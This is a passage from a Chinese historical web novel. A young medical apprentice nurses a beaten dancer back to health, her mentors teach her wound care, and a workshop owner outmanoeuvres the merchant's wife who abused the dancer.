那人缓缓说道:“我本是江陵的一位张姓富商家养的婢女,习得一些舞蹈,名叫翠翘。四个月前,城北的王员外去江陵做生意,张姓富商邀请王员外去家中喝酒。我被安排上场表演,被王员外所看中,那张姓富商就将我赠予王员外。我便随王员外回了京都。十日前,王员外又外出做生意,我又被诊出有孕。那王员外的夫人非说我怀了野种,将我打伤又抛于那臭池。”
李杏听此红了眼睛,忙别过去身说:“我先去给你盛些粥来。”
秋水眼睛一酸,怎如此狠心,又不敢流下眼泪,怕更惹这位姑娘伤心。强忍着哭腔说道:“翠翘姐姐莫怕,你在这安心养伤,一般人不敢来找麻烦的。”
秋水在一旁点上安神香,李杏端着一晚细肉粥走了进来,蹲至翠翘面前说道:“你伤得太重了,不能吃盐。所以味道不太好,但没办法还是好好吃了吧。”
李杏给翠翘喂了一口,翠翘吃了又哽咽着说道:“这已经是我近几日吃过最好的了,自王员外走了后,我就没吃过不带馊味的吃食。”
李杏给她擦了擦嘴,又继续喂食说道:“莫要想了,先好好养伤。”
翠翘点了点头。
安师兄赶到济安堂时已是近申时,李松见安师兄来了忙上前去问:“你怎么才来,小师妹呢?师父派人把来这的大小路都查遍了,打听到你早上抱着一个发臭的人跑了出城,那人是谁?你们是去哪里了?”
安师兄被松师兄念得头疼回道:“松安馆。”
说完便向院中寻师父而去,李松也连忙跟了过去。
安师兄向楚知求行礼说道:“昨日有些醉酒,今日出发时晚了半个时辰。便带着小师妹走了小路,经过臭池之时,有个女子落在其中。便将其救起送到了松安馆,小师妹经过救治后,我见无事了便回来将此事报告师父。”
楚知求听后一愣说道:“胡闹,你怎可让秋水一人救治。”
安师兄说道:“秋水所言并无错处,而且她救治一人应会有所体会,更会长其学医之心。”
楚知求听安师兄如此说,更发生气说:“你抄药方也抄到了十五,她才不过十二。这伤口溃烂本就凶险,若有意外,她小小年纪如何承受?还长其学医之心,莫被吓到不敢行医就是万幸了。”
安师兄听这一喝,才是清醒过来说道:“师父,徒弟知错了,我以为她已学得不错了,才敢放心让她医治。”
楚知求叹了一口气说道:“我以为你心性沉稳,居然又如此大胆。若她医治好了,你就无虑,若是不好,你与她一起受罚。”
安师兄急忙向楚知求行礼说道:“若有问题罚我一人即可,这与小师妹无关。”
楚知求面色严肃的说道:“好,那就罚你。小师妹和那女子在何处”
安师兄抬其身说道:“松安馆。”
楚知求看向李松,李松忙说:“此事我也才知晓。”
楚知求说:“百生你先去前厅,李松留下我有话和你说。”
“是师父,徒儿告退。”
楚知求见安师兄走了后对李松说道:“你先回去问问救的是谁,这几日你与秋水都不用来了,也不许她回绣坊,直到那女子转好为止。这些外伤你比较擅长,你去辅助她医治,不可直接代替,也不可不管。若是没医治好,你也一同受罚。”
松师兄听此啊了一声。
楚知求见李松如此诧异,面色冷漠的说道:“还不去,你就受罚双倍。去楚宅请兰厨娘一同前去。”
松师兄听此道了一声“是”后,急忙跑了出去。
17. 救人却又添考核
李松领了兰厨娘又往松安馆去赶,心想自己真是平白无故遭此难题,李松啊李松,你去前头凑什么热闹呢。既赔地方又赔人,真是倒霉啊。
到松安馆时,已是近半夜。松师兄推了推门未推开,又大喊:“杏儿,杏儿。”
杏儿在厨房听得松师兄喊门声急忙走去给开门,开门见到松师兄说道:“小声些,小师叔刚才才歇下,受伤那女子一个时辰前突发高烧,小师叔给其施针又敷水降温才消下去。现在小师叔累的睡着了。”
松师兄正想询问一番目前怎么样了?杏儿看见兰厨娘说道:“这位是?”
“这位是楚宅的郝厨娘,师父请来照顾秋水的。”
李杏点了点头:“快请进,你们吃过饭没有,我去煮些面条给你们。”
松师兄叹了一口气后摇了摇头。
兰厨娘看着李杏说:“谢谢李姑娘了。”
杏儿端上了两碗面条给李松与兰厨娘,李松正要吃时突然想到杏儿应该也是忙了一天了,便又放下筷子问道:“杏儿你与秋水吃了吗?”
杏儿答到:“我和的面条留了小师叔一份,等她再睡一个时辰,我再去将她叫醒吃些东西。我留了些粥,等会热了吃。”
李松说道:“那你将粥盛于我吧,也不用热了,我想吃些凉粥静静心。”
李杏面色不悦的说道:“你要是真想清心,你就别喝粥了,直接去打些冷井水喝到饱。剩下的粥不够你喝,吃你的面条就好。”
李松被怼得讪讪一笑后说道:“这面条好香。”
兰厨娘见此打圆场说道:“今日委屈李姑娘将晚饭让给我了,明日我去集市买些好菜,给两位赔罪。”
杏儿听得面色一红说道:“兰大娘,你莫听他胡闹。那里的话,就是他闲的没事在此胡讲罢了。”
兰大娘哈哈一笑,李松听了便也低头吃着面条一句话也不说。
吃过晚饭后,兰厨娘说:“今晚给我在厨房搭个床铺就好。”
李松摇了摇头说道:“你是师父请来的客人,当是与师父同辈。怎可如此委屈你。你睡我书房,还可照料小师妹,我睡厨房即可。”
兰厨娘本不太同意,耐不住李杏和李松的两头劝说最后还是答应了。
第二日卯时,兰厨娘吃了几个糕点,便早早出门,打算去集市买点菜了。
辰时,秋水在翠翘房间中支起来一个小火炉,又取了黄芪川穹当归在锅中煮至沸腾以熏蒸房间。李松闻得味道走至门口向秋水问到:“小师妹,你在做什么?”
秋水答道:“用黄芪川穹当归水熏蒸房间。”
李松听了叹了一口气说道:“你先快些灭了火,将窗户打开通通风。我去叫杏儿帮你端出来。你再看看翠翘背部是否有化脓趋势。我再与你说为何不可如此,”
秋水虽是不解,但松师兄平日医术她也有所见识,便就照做了,又看翠翘的伤口,确实有几处带黄色有化脓趋势。
着急得向在外的松师兄喊道:“师兄,确实有几处有化脓趋势应当如何?”
“将针用火烧过之后,将其挑破用棉布将其吸出,后续与你昨日处理伤口方式一致。”
“好。”
秋水低头看向翠翘,递上一个毛巾说道:“你先咬着,不要等会伤了自己。有四处伤口我处理一下。”
翠翘点了点头,感觉自己比昨日好了很多,便也非常相信秋水。
秋水将翠翘的伤口处理完毕之后,便出门询问松师兄:“松师兄,为何不能如此熏蒸法?”
李松答道:“因为翠翘之伤为内湿之症,如今天气秋高气爽,通风更适合养伤。若是熏蒸,热气不散,湿气聚集,更会导致其伤口溃烂。”
秋水听过后说道:“谢师兄赐教。”
心想还是自己学艺不精,虽知道其方法却不知道其原理,差点救人变害人。
松师兄见秋水还有几分懊恼,便走向身后的书柜之上拿取了两本书递与秋水:“这这一本外伤愈合笔记,是我记录养伤时天气以及温度和饮食造成的不同效果。还一本是空的,我希望你能记录好翠翘的伤情和愈合情况。”
秋水接过书籍看向松师兄说道:“好,秋水一定记录仔细。”
松师兄笑了一笑说道:“安师兄善于接骨,但外伤这种还是得看我了。秋水师妹你说是与不是啊?”
秋水看着松师兄点了点头,就翻开那本外伤愈合笔记仔细看了起来。记录及其详细,其人受伤的原因,受伤时间,愈合时间,食用或接触了什么东西导致伤口加重都一一记录了。最后还有一句“患者愈合记录查询断腿张十二。”
秋水便走到松师兄面前说道:“这句话是什么意思?”
松师兄站了起来说道:“外伤是病情分类,张是患者姓氏,数字就是排序而已。你可以在这面书架查询到对应的人的记录。”
秋水惊讶的望着面前的书柜,向松师兄问道:“这次都是你救治的所有人吗?”
李松摇了摇头:“不是,一些是我选取了一些比较特殊的病例记录了。还有一些是济安堂之前的一位学徒所记录的,本在杂货间。师父没空整理,便都让我拿回来了。这些你有空都可慢慢看。”
秋水闻言更是惊讶,没想到平日里感觉散漫的李师兄居然如此细致。她走向书柜看了看,分为找到“断腿张十二”。
首页右侧是一人体画像,腹部有一三寸长的伤口。左侧是一些文字“上阳一农夫,家中一地被乡长选中做其父亲之坟墓。该农夫不肯,乡长带人殴打,不慎将其撞至尖刀之上,制其腹部有三寸长,一寸深伤口。幸遇本人,观其未伤内里。便用身上所带白酒淋洗伤口,用自身之发缝补伤口,又敷以三七透骨药粉,最终得救。可其中凶险,还望后人仔细看其后文。”
秋水翻阅了一下,原是这位撰写人回乡偶遇乡长欺负农夫,还造成腹部三寸长一寸深伤口,后面便是撰写人在上阳为这位农夫治疗近两月的时间的日记。其中有本来好至快愈合了,却又着急农活,下田耕地造成二度受伤。为补身体,杀了鸡来食,吃完第二日,伤口竟然开始发脓。
秋水心想若有机会,必然要去与这位撰写人探讨一番,好细致的描述,好高深的医术。尤其这以发缝补伤口的方法定要好好学学。
秋水在松安馆待了一月有余,待到翠翘伤口已全部结痂,可以下地行走。她才被允许回去济安堂。
刚来时本想早日回去,如今待久了到是不想回去了。松师兄那儿好多书和记录都未看完,不知何时才有机会再来。本想向松师兄借阅,可松师兄说自己还未完全整理好,怕乱了丢失了些。想到这秋水长长的叹了一口气。
松师兄在一旁见她如此失落便看向秋水笑着安慰道:“待整理成册了,第一本先送与你。”
你倒是说得轻巧,不知道这一等怕是要几十年吧。
虽然秋水一肚子不服气,便对着松师兄说道:“那松师兄一定要早日完成啊。”
李松笑笑道:“不要着急,年纪小,等我是等得起的。”
秋水见松师兄好像又要耍无赖了就哼了一声说道:“怕你遭遇不测。”
这秋水师妹倒是越发伶牙俐齿了。
“没事我可以托梦,你记得给我烧纸就好。”
“呸呸呸”
秋水和松师兄打闹一路到了济安堂,楚医师面色严肃,身板挺直的站在济安堂的大门右侧。秋水望见师父那一刻,好像其它声音都一下寂静了,明明是还隔数丈远,但感觉师父一张嘴,自己就要被生吞了。一直在心中盘算自己做错了什么,颤颤巍巍的走到师父面前问了句:“师父好,如此早起在此是在等什么人吗?”
楚医师:“这么久才回济安堂是不愿意回来了吗?”
秋水心想,不是你不让回来吗?
李松心想,又来这招吓人,我当年一路这么被吓大的早免疫了。可怜秋水三年了,还没看透。
李松答道:“虽归心似箭,但谨遵师父教诲,未治好病患时,不敢归来,怕给师父丢人。如今终于不负师父教育,医治妥当,才敢回来。不敢奢求师父夸奖,但请师父不要责罚。”
楚医师看了一眼李松说道:“见你两态度诚恳,又救人有功。可免于责罚,以后学医,不可骄躁,要更加细致认真明白吗?”
秋水李松同声答道:“明白了。”
楚医师又看向秋水说:“我要看看你这救人学会了几分。十日后,你补写一份
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你这次救人的日志给我。病因,病情,如何救治,其中有何问题都要写明。”
秋水听此大喜,但不敢表现。心想还好松师兄之前就让我写了。忙点头回答:“一定好好完成。”
楚医师摸了摸胡子,心想今日居然答应的这么干脆,李松这小子还是给她通气了。撇了李松一眼说道:“你们先进去吧。”
李松终于是松了一口气,急忙进去药堂,生怕又被抓了把柄。
秋水回了济安堂抄写忙活了一天,更是怀念在松安馆的日子了。
今日回去的路上,秋水觉得疲惫,安师兄却心有愧疚,一直想要和秋水说些什么,却又不敢说。扭扭捏捏半天,一张平整的木头脸上,额头处硬是挤出来一个川字,和谐但又十分好笑。
终于到了绣坊门口,秋水还是没有忍住向安师兄问道:“安师兄可有话与我说?”
安师兄点点头。但又未有言语。
秋水便直接说道:“不知师兄想说什么,但师妹觉得,你肯放心让我医治,我已非常感谢师兄了。”
安师兄心中松了一口气,又感慨师妹确实善解人意,便向师妹行了一个礼说道:“多谢师妹,如此我便安心了。”
秋水也回礼道:“也谢安师兄如此信任。”
送别安师兄,秋水回了房,多儿忍冬得宝见秋水回来,都立马拥了上去。秋水咳了几声说道:“喘不过气了。”
忍冬急忙松开了手,多儿倒是不拥着了,但拉着秋水的袖子。得宝倒是一点话都不听,见其他两人闪开了,反而抱得更是紧了。
得宝越抱越紧还说:“不嘛不嘛,我不松开。”
秋水正想着怎么哄哄她松开,正巧有人来敲门。秋水急忙拍了拍得宝的背说:“快,去开门。”
得宝这才不情不愿的松开了手,秋水一行人来到门前,将门打开发觉是孙管家,孙管家用布巾包着砂锅的双耳,抱了过来说道:“快让让,烫!”
秋水等人给孙管家让了一个路出来,孙管家将砂锅放在桌上后,又回去拿了四双碗筷过来说道:“我虽要管新来的学徒了,但最是心疼你们了。秋水累了吧,我给你们煲的鸡汤,你们快趁热喝了。锅碗明早我来收,我就先走了,等会让新学徒看见了,怕要说我偏心。”
孙管家说完便要走,得宝忙跑过去抱住孙管家说:“得宝最喜欢孙管家了。”孙管家捏了捏得宝的脸说:“真乖!”秋水等人也急忙跑过去说:“我们也最喜欢孙管家了。”
孙管家朝她们都笑了笑,摸了摸她们几个的头说:“真乖,都乖。快去吃吧。”
送走了孙管家,她们便打开了砂锅。多儿还想这鸡腿怎么分呢,翻了一下发现,孙管家直接将鸡腿肉切块了。多儿不禁觉得好笑,还是孙管家永远贴心。
一边吃着,多儿便看向秋水问道:“怎么这么久才回来。”
秋水想了一想摇了摇头说道:“吃完再与你们说吧。”
待到吃完,多儿又发问。秋水便将自己如何发现翠翘,翠翘为何在那里,又为何不回来这些事说了个清楚。
听罢忍冬叹了一口气说道:“本都是无辜的女子,却要为那男子沾上血腥。到最后,人都只觉得男子天生如此,那女子确要是被人骂最毒妇人心了。”
多儿也应和道:“可怜翠翘了,若是出生卑微,到不如生得差劲一些还好。”
得宝也学着叹了一口气。
秋水等人见得宝也叹了一口气便望向得宝,可得宝半一直没有后话。得宝见几人都望着自己便问道:“我脸上有脏东西吗?”
多儿问道:“你为何叹气。”
得宝双手撑着脸伏在桌上,砸吧着眼睛说道:“我见你们都叹了一口气,我就也学着了。”
众人听此皆无奈一笑。
忍冬心想以得宝的家境应该不会有这种困境吧,若是自己没来绣坊呢,是被打死了还是送了户好人家呢。
多儿见忍冬好像有些难过,便望向得宝说:“你这小妮子,总觉得你在耍我们。挠她。”
秋水离得宝最近,便直接向得宝伸手而去。
得宝忙说救命后往忍冬后面躲,忍冬又站起身来拦住,四人就如此玩起来了老鹰抓小鸡。
18. 医人容易救心难
秋水等人不过一群十来岁的孩子,愁心的事情玩闹一番便也忘记了。金娘子这边却是越思越愁,年少的记忆与今日的所见相互攻击,年少的记忆已是面色模糊。
下午申时王员外家的夫人赛牡丹亲自来金记绣坊请了金娘子去天香阁饮茶。
赛牡丹拒绝了领路的伙计,径直上了二楼,见金娘子与人聊着,便向着金娘子点了点头,就在一旁等着了。
赛牡丹身穿深头戴一黄心白牡丹,牡丹花两边两边各插上一支珍珠步摇。花下配上了掐金丝的金叶钗子。妆容略淡却不失娇艳。一条红色玛瑙璎珞佩于胸前。身穿浅黄色团花纹襦裙,腰系着一红色绣如意绸带。浅绿碎花对襟,手挽一条翠绿披帛。
丝毫看不出已年过四十,还是如金娘子记忆中一般的美貌。娇艳可比夏花,璀璨可胜明珠。只是那眼睛不似年少时清明澄净。前日里楚知求与她说了秋水救人那事,她也只当是户同姓的人家都买了个官名罢了。
今日赛牡丹来寻她,心中好似有千斤石头压住。只盼等会赛牡丹只是为叙旧,不要是为那事而来。
等了一个时辰有余,金娘子才忙完。见金娘子过来了,赛牡丹急忙起身拉起金娘子的手:“千缕妹妹,好久不曾见面了,”
金娘子心中一阵恶寒,又在祈愿着是自己多想了。强做镇静拉过赛牡丹的手坐下,面带喜悦的说道:“确是有几月了,今日是要来选些什么绣品?还是突然想起我来了,叙叙旧?”
赛牡丹笑了一笑,示意身旁的婢女将桌上放着的食盒中的东西拿出来。又看着金娘子说道:“今日本想约上妹妹去天香阁饮茶吃些点心,见妹妹忙,便派人去打包送此来了。有桂花酒酿软酪、山药杏仁糕、桂花千层酥。还有百花天香茶。都是天香阁的招牌。”
金娘子用轻抚了一下额上的头发问道:“牡丹,可是有什么事要找我。你可直说。”
赛牡丹递了杯茶予金娘子道:“缕儿你果真还是如此快人快语,我来此是想找金娘子求要个人。”
金娘子接过茶问道:“哦?你可是看中哪位绣娘,要她去府上绣花。”
赛牡丹摇了摇头答道:“非金记的绣娘,乃是上月你家官人的小徒儿在后山救了一位女子。那女子是我家官人在外经商带回的一位舞姬。性格甚是乖张,我便将其丢在后山希望她得个教训,第二日派人去接回,哪想到被你官人的小女徒带走了。原本是想带走了便算了,可我官人喜欢的狠,便想来找你讨要一番。想是你是不会为难与我吧?”
金娘子腹中好似翻江倒海,强让自己镇定说道:“那小女徒倒是确实有一月不来我这了,是因为感染了风寒,怕她传染给绣坊这么多姊妹。至于她是不是救了人,那我是真不知晓。待我今日问问在与你答复?”
赛牡丹饮了一口茶后又问道:“那不知那位小徒什么时候回来,我与你一同问问?”
金娘子面色不悦道:“那并非我绣坊之人,只是借住于此。让不让你问询,需得我问过楚之求才可”
赛牡丹嗤笑一声说道:“金千缕当年多风光的任务,十六就接了金记的大梁,怎得现在问个人还得问问自家夫君了?”
金娘子听得她话,眼色打量赛牡丹一番,不屑的说道:“牡丹如此高傲的花,今日怎也容得野花在旁相配?”
赛牡丹气得脸上通红:“你..你。”
赛牡丹你了半天,也说不出话。便起身要走。
金娘子见她起身又忙双手握住赛牡丹的手笑着说:“你可莫要生气,是我的错。你我多年情谊。我不该因为不相干的人恶语伤了你心。先请坐下。”
赛牡丹哼了一声说道:“你竟为了那舞姬对我这么说话,你还要在说些什么?”
金娘子喂给赛牡丹桂花酒酿软酪后说道:“牡丹,你先尝这甜食消消气。我想这舞姬你既然赶出去了,她自己也跑了,那便算了。是死是活又有何关系呢?”
赛牡丹叹了一口气答道:“这不是我家夫君喜欢吗。”
金娘子气愤得说道:“他本就是靠你家给的本钱才起的势,今日发达了,怎得什么阿猫阿狗都敢往家带。”
赛牡丹也是生气得说道:“都怪我当年识人不清,选了这种狼心狗肺的。”
金娘子安慰到:“人是会变的,变好变坏全看天意。不能怪你。”
赛牡丹一下委屈极了说道:“缕儿,如果是你,你该如何?”
金娘子面色坚定,七分生气,三分不屑的说道:“那济安堂管账的伙计还是我金宅过去的。若是楚知求找新人,我就将他钱财都弄来绣坊。楚宅本就就是我的聘礼之一,我就将他清扫出门。看他守着那济安堂的空药房几时能翻天。”
赛牡丹点了点头又问道:“那你是我,该是如何呢?”
金娘子佯装思考了片刻说道:“若我是你,如今正是平仓收粮的时机。往年里都是通了你哥哥的关系都给他了,今年就让你哥哥只分他三成,其他多选几位客商,但都不要超出三成的数,不至于亏,但也可敲打一番。”
赛牡丹点了点头,但又有所顾虑问道:“若他不听呢?”
金娘子笑了笑:“人讲话有人不听,钱讲话还无人不听。”
赛牡丹又问:“可他少拿了钱,岂不是更憎恨我?”
金娘子叹了一口气说道:“牡丹啊,你还是太心善。今年虽少赚了钱,但敲打一番他能少带点野花野草回来就好。若你一味放纵,多赚的钱也都给了旁人。今日来个舞姬你赶出去了,明日又来个歌姬你又赶出去了。岂不是败坏姐姐名声?你那龙凤胎儿女也都十六了吧,都是要说亲的年纪了。若听你是个恶婆婆恶母亲。怎配一个好人家?”
赛牡丹思考了片刻,拉过金娘子的手说道:“还是缕儿聪明,难怪金记绣坊如此红火。我今日有事先走,来日再叙旧。”
金千缕所言不虚,我可不顾王伯卿在外风花雪月。但不能不顾我这一双儿女今后的婚配。
金娘子又故作惊讶说道:“姐姐这就走了?不与妹妹在聊聊天?这些糕点你还未尝几口呢。”
赛牡丹欣喜的说
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道:“听君一席话胜读十年书,这些糕点就留予你了,你且先忙,改日我必再来找妹妹。”
金娘子轻叹了一口气说道:“那我送送你,你慢些走。”
金娘子将赛牡丹送至出门,赛牡丹上了上车便让车夫往哥哥家走了。
金娘子看赛牡丹远去苦涩的笑了笑。又喊来茯苓说道:“二楼的糕点,你去与大家分了吧。”
戌时时分,金娘子怅然若失的回了家,见到了楚知求在后深深得叹了一口气。
楚知求本在看着书,见金娘子对着自己叹了口气甚是疑惑。便放下书,又给金娘子倒上一杯茶问道:“缕儿,今日你是怎么了?”
“今日,赛牡丹来与我叙旧了。”
“那,你们聊了些什么?”
“她来找我要人。”
“什么人?”
金娘子白了楚知求一眼,楚知求恍然大悟道:“哦,人。秋水所救之人?”
金娘子点了点头。
楚知求又问:“你怎么说得?”
“我说不知道这人,我说你那小女徒受了风寒多日不在,我也不知道发生了什么。”
“缕儿,好计谋啊。”
“而后她又说要问问你那小徒儿,我给说要问过你才行。她将我嘲讽一番,居然要问你,我回嘴回去,她就直接想走,我又道歉将她留下。”
楚知求又将金娘子夸赞一番,而后金娘子将后续对话全部告知楚知求。
楚知求大笑道:“缕儿你果真阴险毒辣,还好我不爱猫猫狗狗唯爱金子。”
金娘子呸了一声说道:“你对花草之爱也不逊色于我啊?”
楚知求拉过金娘子,将金娘子抱在怀中说道:“缕儿,你这么说。那我可要对你那些针啊线啊布料都吃醋了。”
金娘子轻敲了一下楚知求的头:“就你得理不饶人。”
楚知求握住金娘子的手说道:“是啊,这也要亏得娘子礼让我。听你这么说今日甚是顺利,怎还如此不开心。”
金娘子将下巴枕在楚知求的肩膀说道:“我只是突然想起,年少时,我与如意、知禾还有牡丹女扮男装混入诗会的时候。知禾赢了比赛,但被发现是女子。那人不将作为奖品的歙砚给知禾。牡丹夺了砚台就就要砸,说如果不给知禾,那在坐的各位没有一位配得上这么好的砚台的,我就将它砸了才好,不然便是辱没了。”
楚知求拍了拍金娘子的肩膀说道:“磐石经浪多次击打也要变形,何况这人世间的击打比那水浪更是汹涌。”
金娘子叹了一口气说道:“我又如何不懂呢?”
只是昔日情谊太过迷眼,使我不敢睁眼看清今人。
楚知求见金娘子如此难过便故作生气得说道:“虽有磐石被击打变形,但也有顽石千载万载不变。你看田如意,当年就最是讨嫌,非要阻碍我两。直到今日还是讨嫌,但凡来此喝了点酒就要装醉,将你拉走。实在是冥顽不灵,可耻可恨!”
金娘子被逗得噗嗤一笑说道:“你也是块顽石。”
19. 是非对错何人评
王夫人经过金娘子宽慰劝告一遭,倒是没来找翠翘麻烦。
翠翘安稳的在松安馆安静的养伤了两个月有余,秋水与安百生每隔七天来看望依次翠翘病情并做记录。
今日翠翘觉得恢复的差不多了,也可以出门行走了,便向李杏商量:“杏儿妹妹,这些日子多亏你们照顾了。正巧明日也正好是秋水他们过来的日子。厨房可借我使用一番,我做些吃食感谢一下你们。”
李杏正在药柜前配着药,听见翠翘说的话停了手,疑惑得问道:“伤口可是都好了吗?”
翠翘点点头:“杏儿妹妹你放心,都结痂了。等几日结痂脱落了就都好了。”
翠翘将抓好的几位药放入一个香包,又添上一味安息香。李杏拉过翠翘的手,递给她:“这是安神助眠的,你拿着。你先不用着急,松安馆的规矩,没给药钱的要在松安馆打半年白工才能放你走,你有得是时间。你要做些东西这事,晚上待小师父回来,我先问过他才行。”
翠翘百感交集,心中甚觉酸楚。以前从未有人对自己如此好过,白吃白喝还养伤治病。又送了好些东西。不经意的就落下了几滴眼泪。
翠翘这一哭,引得李杏心中也是酸楚。本想安慰翠翘,看向翠翘时却被一惊。前些日子脸色还有些苍白,又被剪了头发,只觉是个一般标致些的美人。现今脸色养得有些红润了,头发也蓄长了,又落下几滴泪。才惊觉真是个绝色,可谓是芙蓉如面柳如眉,梨花一枝春带雨,宝钗斜坠青丝发。
楞了片刻,李杏才将手帕递予翠翘:“姐姐如此标致的人儿,哭得我也心疼。”
翠翘接过手帕说道,擦了擦泪:“让妹妹见笑了。”
李杏见翠翘如此,心想她一直呆坐着,怕她心中总是多想。可磨药晒药,又怕她累着。思考了半天才说:“不知姐姐可会些针线活,我有几件衣服有些破损了,可否帮我缝补一番。”
翠翘转涕为笑:“妹妹放心,虽算不上高超,缝补些破洞还是没什么问题的。”
李杏便去屋中取了两件衣服与针线还有碎步递给翠翘:“一件是下半身划破了个口子,一件是袖口处破了几个洞。”
这本是李杏一般晾晒磨药才穿的旧衣,也不打算缝补的。但怕干别的活累着翠翘了,便找了这两件衣让翠翘打发时间。
翠翘接过衣服向李杏笑了笑说:“杏儿妹妹放心。”
李杏向着翠翘笑着点了点头,继续配着药材去了。
翠翘不到半个时辰便缝补好了,拿给李杏一瞧,虽不算精巧,但是整洁利落。
李杏也忙活的差不多了便和翠翘聊了起来。翠翘向李杏问道:“你和李松医师的名字一听感觉是兄妹,但却是师徒,是巧合吗?”
李杏笑着摇了摇头:“不是,这个名字是小师父取的。我与你也差不多。”
翠翘点点头,不知如何回话下去。李杏见她如此纠结的摸样便说笑着说道:“都过去了,我已经不在意了。”
翠翘便也没有细问,只是轻声叹了一口气也说道:“是啊,都过去了。”
“你们聊到何处去了?气氛如此怪异,莫不是偷偷打算谋害我?”李松乐呵呵走了进来说道。
“在商量谋害了你,能不能吞了你的房子呢。你今日怎么回来的如此早?”李杏向李松问道。
李松叹了一口气说道:“今夜子时,有一个剜肉的。你去早些准备把。翠翘姑娘今日就在房中,无论听见什么都不要出来,也不要出声。”
翠翘点了点头,见他不说其他,便也没多问,只点了点头。
李杏皱了皱眉头,心想是谁家的姑娘又要受这苦楚。便向李松说道:“那我先去做些晚饭和烧些热水。今日翠翘问我想做餐饭食给你们,以表谢意。可否明日她来下厨,你替他相邀秋水她们。”
李松思考片刻说道:“明日是不行了,后日吧,后日秋水她们才来。你将需要的物品写于杏儿,她去采办好。”
翠翘听过李松说得话,便向李松行了一个礼说道:“谢过李医师。”
李松笑道:“不必如此客气。”
亥时过半时翠翘只听得有一人赶得马车前来,半个时辰后听的一女子一声刺耳又惨淡的叫声。又过了一个时辰后,马车又将那女子带走了。
两日后,秋水安百生来了松安馆。翠翘足足做了八道菜,饭前饭后还分别送了上了一道苹果山楂糕与陈皮糕。
第一道荷塘秋月夜,就是将莲藕与胡萝卜削成花片,又加上荷兰豆与木耳炒制而成。莲藕是花,胡萝卜是花蕊,荷兰豆是荷叶。至于木耳那是零星点缀的月色。不算得什么大菜,只是赋意添了几分雅致。
第二道是鸡汤文思豆腐,鸡汤打底,将手掌大小的豆腐横竖都来上千刀,底端相连,但切制的位置细如线可穿针。豆腐在汤中散开,好似一段金丝菊在风中摇曳。
第三道是一道水晶肴肉,是以猪蹄炖煮多次去腥后,去骨切块,加以最后一次炖煮的汤料待冷却,自然成透明胶状。切方块食用。瘦肉如粉色红樱,肥肉如羊脂玉。
第四道是苹果桂花鸡,苹果的酸甜与桂花的香气都侵入了鲜嫩的鸡肉。第五道是红烧狮子头。第六道是金玉满堂,大概应是荷塘秋月切下的藕片与胡萝卜切成小丁,再加上玉米粒炒制而成。
第七道是蝴蝶鲈鱼,将鲈鱼中间刨开,两边划上多刀。先小炸一下,划刀处自然卷曲,形成翅膀一样的花纹,再上锅蒸熟。
第八道则是一道普通的排骨冬瓜汤。
安百生看了这些菜,不经感叹道:“翠翘姑娘这个手艺,倒是有几分炊烟入云霄的感觉了。”
翠翘疑惑问道:“炊烟入云霄是何意思?”
李松正好给大家盛了饭过来便答道:“炊烟入云霄,这是南阳最近最有名的女子私厨,最近听说太傅家是花了三百金才请去家中。她们刚开业时,师娘投了钱,请了好些贵人家的娘子前来品尝,我们当时也蹭了些吃食,道道菜如画,刀刀如篆刻,味道不必细尝,能见识到已经是一种享受了。”
秋水听此噗嗤一笑说道:“松师兄,你那日不是说文人雅客不如抱着画卷啃了罢了。何必糟蹋这等吃食。”
李松摇摇头说道:“非也,我那时说话之时还未尝到,我以为是个花架子。尝了之后才觉自己肤浅。唯有色香味俱全者才配称之为美食啊。正如翠翘姑娘做的这些菜,来秋水小师妹,吃个水晶肴肉堵住你的嘴。”
翠翘听此害羞的说道:“我这不过一些家常手艺,比不过如画一般的炊烟入云霄。不过听得我真想见识一番。”
安百生思索了会说道:“去年到还有些机会,今年越发火热,到是难了。”
李松听此便望向翠翘说到:“翠翘姑娘不是学的舞吗,厨艺也如此精通?”
翠翘答道:“让各位见笑了,之前和关系好的厨娘学了一些。”
李松点点头:“原来如此,还好只是教了你一些。这要教多了,怕是就让你抢了她的活了。”
翠翘摆了摆手说:“我只是学了她一些皮毛罢了,你们觉得好吃我就放心了。”
李松继续夸道:“岂止是好吃,简直是人间美味。”
李杏撇了一眼李松,三分笑意七分嘲讽的说道:“那今日若是有一滴汤你没有吃完,那便是心不诚了。”
李杏给李松盛了一大碗鸡汤继续说道:“喝点汤润润唇,你在继续夸。”
李松接过汤面不改色的说道,喝了一口说道:“香。先喂饱肚子在慢慢夸。”
吃过饭后,秋水查看并记录了翠翘的伤情。翠翘还拿了些另外做的糕点给秋水和安百生带回去。
多儿见了问道:“你今日是去什么茶馆吗?怎带回的糕点如此精致。这如意花纹的是何?”
秋水回到:“是上次和你们说的翠翘姐姐做的谢礼,如意花纹是是山药杏仁糕,白色方块的是雪梨糕,红白色相间成花的是茉莉桃花酥,白色花形是茯苓白玉糕。”
多儿又问道:“不是一位舞姬吗?怎会如此善做糕点手艺。”
秋水弩了弩嘴说道:“今日松师兄也问了此话,她说是和以前交好的厨娘教她的。”
多儿点点头说道:“原是如此,那她伤好得如何了?以后做何?在你松师兄那里当厨娘吗?”
秋水听得楞了一会说道:“这我倒是还没想过,明日问问松师兄吧。我先将一些糕点送去给孙管家。”
秋水将糕点送了给孙管家,多儿他们等着秋水回来才一起吃。
忍冬尝了一口雪梨糕说道:“清甜爽口,入口即化。”
得宝吃着茉莉桃花酥也是点点头说道:“确实好吃,外壳酥脆,内里软糯。”
多儿拿着杏仁糕说道:“就是可惜了,只能吃到这一次。”
得宝忍冬听此也是重重的点了几下头。
秋水叹了一口气说道:“还不知以后该如何办呢,你问之前我倒只想着将她治好,如今却不知道治好了该如何了。”
多儿见秋水如此落寞便安慰到:“都怪我多舌了,你应不必操心,救人之事济安堂必是有了不少经验了。”
秋水听了多儿这句话,心中散了些忧愁,想着明日问问松师兄再写封信给云照哥哥问一问他之前救人都是如何的。
第二日,秋水早早便在门口等着安师兄,先找了信客将信寄出。而后一路疾走,只想到了济安堂便去寻松师兄。
到了济安堂,只见松师兄提着一个藤编二层食盒在门口等着。
秋水走至松师兄面前说道:“师兄这是在做何?”
松师兄笑了笑道:“秘密。”
秋水又问:“盒子里是什么?”
松师兄答道:“秘密道具。”
秋水无奈一笑,便直接问道:“待翠翘完全好了该如何?这不会也是秘密吧。”
松师兄学着师父的摸样假装摸了摸胡子,又指着手上的食盒说道:“这不是秘密,但这要看这个秘密道具有没有用了。”
秋水疑惑问道:“这有何关联?”
松师兄道:“既然你真意求知,那我便在提醒你一下。炊烟上云霄可是师娘投了钱的。”
秋水恍然大悟的哦了一声说道:“原来如此,还是松师兄深谋远虑。”
